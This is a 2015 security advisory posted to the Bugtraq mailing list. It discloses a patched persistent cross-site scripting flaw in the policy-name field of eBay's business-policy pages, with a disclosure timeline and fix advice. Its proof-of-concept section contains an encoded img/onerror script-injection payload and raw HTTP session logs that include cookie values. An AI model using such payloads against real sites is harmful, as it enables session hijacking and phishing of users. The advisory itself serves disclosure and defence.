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Ebay Inc Xcom #7 - (Policy) Persistent Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Ebay Inc Xcom #7 - (Policy) Persistent Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 21 Apr 2015 11:58:45 +0200
Document Title:
===============
Ebay Inc Xcom #7 - (Policy) Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1228
Release Date:
=============
2015-03-25
Vulnerability Laboratory ID (VL-ID):
====================================
1228
Common Vulnerability Scoring System:
====================================
4
Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer
corporation, headquartered in San Jose, California. It was founded by Pierre
Omidyar in 1995,
and became a notable success story of the dot-com bubble; it is now a
multi-billion dollar business with operations localized in over thirty
countries. The company
manages eBay.com, an online auction and shopping website in which people and
businesses buy and sell a broad variety of goods and services worldwide. In
addition to
its auction-style sellings, the website has since expanded to include `Buy It
Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via
Half.com);
online classified advertisements online event ticket trading online money
transfers and other services.
(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered mutliple persistent input
validation web vulnerabilities in the official Ebay Xcom Policy Web-Application
(CMS & API).
Vulnerability Disclosure Timeline:
==================================
2014-03-16: Researcher Notification & Coordination (Benjamin Kunz Mejri -
Evolution Security GmbH)
2014-03-17: Vendor Notification (eBay Inc - Security Research Team)
2014-04-16: Vendor Response/Feedback (eBay Inc - Security Research Team)
2015-03-19: Vendor Fix/Patch (eBay Inc - Xcom Developer Team)
2015-03-25: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Ebay Inc - Official WebSite Magento Application & API 2014 Q1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple application-side input validation web vulnerabilities has been
discovered in the official Ebay Xcom Policy Web-Application (CMS & API).
A persistent validation web vulnerability allows remote attackers to inject
malicious script codes to the application-side of the affected ebay
online-service.
The vulnerability is located in the `my ebay account > return policy > edit
returm policy module. The vulnerable input is the return policy name value.
The persistent script code execution occurs in the affected vulnerable sections
of the connected `businesspolicy/manage` and `Activity Log - Item Listing`
modules. The attack vector is persistent and the severity is medium.
The security risk of the persistent web vulnerability is estimated as medium
with a cvss (common vulnerability scoring system) count of 4.0.
Exploitation of the persistent input validation vulnerability requires a low
privileged web-application user account and low user interaction.
Successful exploitation results in session hijacking, persistent phishings
attacks, persistent external redirect and malware loads or persistent
manipulation of affected and connected module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] My Account > Return Policy > Edit
Return Policy (http://www.bizpolicy.ebay.com/businesspolicy/)
Vulnerable Input(s):
[+] Edit return policy > Policy name
Vulnerable Parameter(s):
[+] name
Affected Module(s):
[+] ebay.com/businesspolicy/manage
[+] Activity Log - Item Listing > Name
Proof of Concept (PoC):
=======================
The application-side cross site web vulnerability can be exploited by remote
attackers with low privileged application user account and low or medium user
interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: Manage your business policies
http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=52844186015&mode=edit&catId=ALL&profileName=Return+Policy+1+
%22%3E%3Cimg+src%3Dx+onerror%3Dprompt([PERSISTENT INJECTED SCRIPT
CODES!])%3B%3E&profileDesc=Returns+Accepted%2C+Buyer%2C+14+Days%2C+Money
+Back&catDefault=on&returnsAcceptedOption=ReturnsAccepted&returnsWithinOption=Days_14&refundOption=MoneyBack&shippingCostPaidByOption=Buyer&description=&_=1395079926788
PoC: Manage your business policies
<a
href="return?totalPages=1&profileType=RETURN_POLICY&profileId=52844186015&pageNumber=1&source=manage">Return
Policy 1 [PERSISTENT SCRIPT CODE EXECUTION!]"><img src="x"
onerror="prompt(23);"></a>
--- PoC Session Logs [GET] (Injection)---
Status: 200[OK]
GET
http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=52844186015&mode=edit&catId=ALL&profileName=Return++%22%3E%3C[MALICIOUS
INJECTED SCRIPT
CODE!])%3B%3E&profileDesc=Returns+Accepted%2C+Buyer%2C+14+Days%2C+Money+Back+%22%3E%3C[MALICIOUS
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CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT
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Domain=.ebay.com; Path=/
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Cache-Control[private]
Pragma[no-cache]
Content-Type[text/plain]
Content-Length[22]
Date[Mon, 17 Mar 2014 18:00:03 GMT]
Status: 200[OK]
GET
http://my.ebay.com/ws/eBayISAPI.dll?GetGHNotificationsCommand&up=1&ts=-1&_=1395079046614
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Request Header:
Host[my.ebay.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101
Firefox/27.0]
Accept[text/javascript, application/javascript, application/ecmascript,
application/x-ecmascript, */*; q=0.01]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
Referer[http://my.ebay.com/ws/eBayISAPI.dll?MyEbay&CurrentPage=MyeBayPreferences&FClassic=true&ssPageName=STRK:ME:MAPRX]
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Connection[keep-alive]
Response Header:
Server[Apache-Coyote/1.1]
rlogid[p4n%7Cceb%7Cehq%60%3C%3Dsm%7E0a54d.32%3Ef-144d1334c9e-0x132]
Set-Cookie[ds1=ats/1395074781098; Domain=.ebay.com; Path=/
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lucky9=9393341; Domain=.ebay.com; Expires=Sat, 16-Mar-2019 18:00:03 GMT; Path=/]
Cache-Control[private]
Pragma[no-cache]
Content-Type[text/plain]
Content-Length[22]
Date[Mon, 17 Mar 2014 18:00:03 GMT]
PoC: Activity log: Return Policy 1 [x]
<div>
<h2 class="act-title">Activity log: <span id="policy_name">Return Policy 1
"><[PERSISTENT INJECTED SCRIPT CODES!]);"></span></h2>
<div id="activityLogContent" class="act-cnt">
<table cellpadding="0" cellspacing="0">
<thead><tr>
<th class="first">Date/Time</th>
<th class="second">Action</th>
<th class="third">Description</th>
<th class="fourth">Report</th>
</tr></thead></table>
Note: After the exploitation the active log serivce is also compromised.
--- PoC Session Logs [GET] ---
Status: 200[OK] GET http://www.bizpolicy.ebay.com/businesspolicy/x[PERSISTENT
INJECTED SCRIPT CODE!]
Load Flags[LOAD_NORMAL] Größe des Inhalts[1201] Mime Type[text/html]
Request Header:
Host[www.bizpolicy.ebay.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101
Firefox/27.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://www.bizpolicy.ebay.com/businesspolicy/manage?totalPages=1]
Cookie[ebay=%5Epsi%3DASTJiAAE*%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D53273c55%5E;
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JSESSIONID=D0F0865539CABCE246EB953E8860B953;
ds2=asotr/b7qeZzzzzzzz^sotr/b7qeZzzzzzzz^]
Connection[keep-alive]
Response Header:
rlogid[t6al%7Cwliodz%3F%3Cwk%7D1e37e*%3B27c-144d14de1b3-0x96]
Content-Type[text/html;charset=utf-8]
Content-Length[1201]
Date[Mon, 17 Mar 2014 18:29:05 GMT]
Server[eBay Server]
Reference(s):
http://www.ebay.com/businesspolicy/
http://www.bizpolicy.ebay.com/businesspolicy/return
http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=52844186015&mode=edit&catId=ALL&profileName=
http://www.bizpolicy.ebay.com/businesspolicy/return?totalPages=1&profileId=52844186015&pageNumber=1&source=manage
http://www.bizpolicy.ebay.com/businesspolicy/manage?pageNumber=1&totalPages=1&context={%22status%22%3A%22success_edit_return%22}
http://www.bizpolicy.ebay.com/businesspolicy/return?totalPages=1&profileType=RETURN_POLICY&profileId=52844186015&pageNumber=1&source=manage
http://www.bizpolicy.ebay.com/businesspolicy/
http://www.bizpolicy.ebay.com/businesspolicy/manage?totalPages=1
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode and parse of the vulnerable
policy name item list and activity log name list.
Restrict the input field for special character and disallow wrong inputs by
usage of a secure exception-handling to prevent exections.
Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the
policy name & activity-log module is estimated as medium. (CVSS 4.0)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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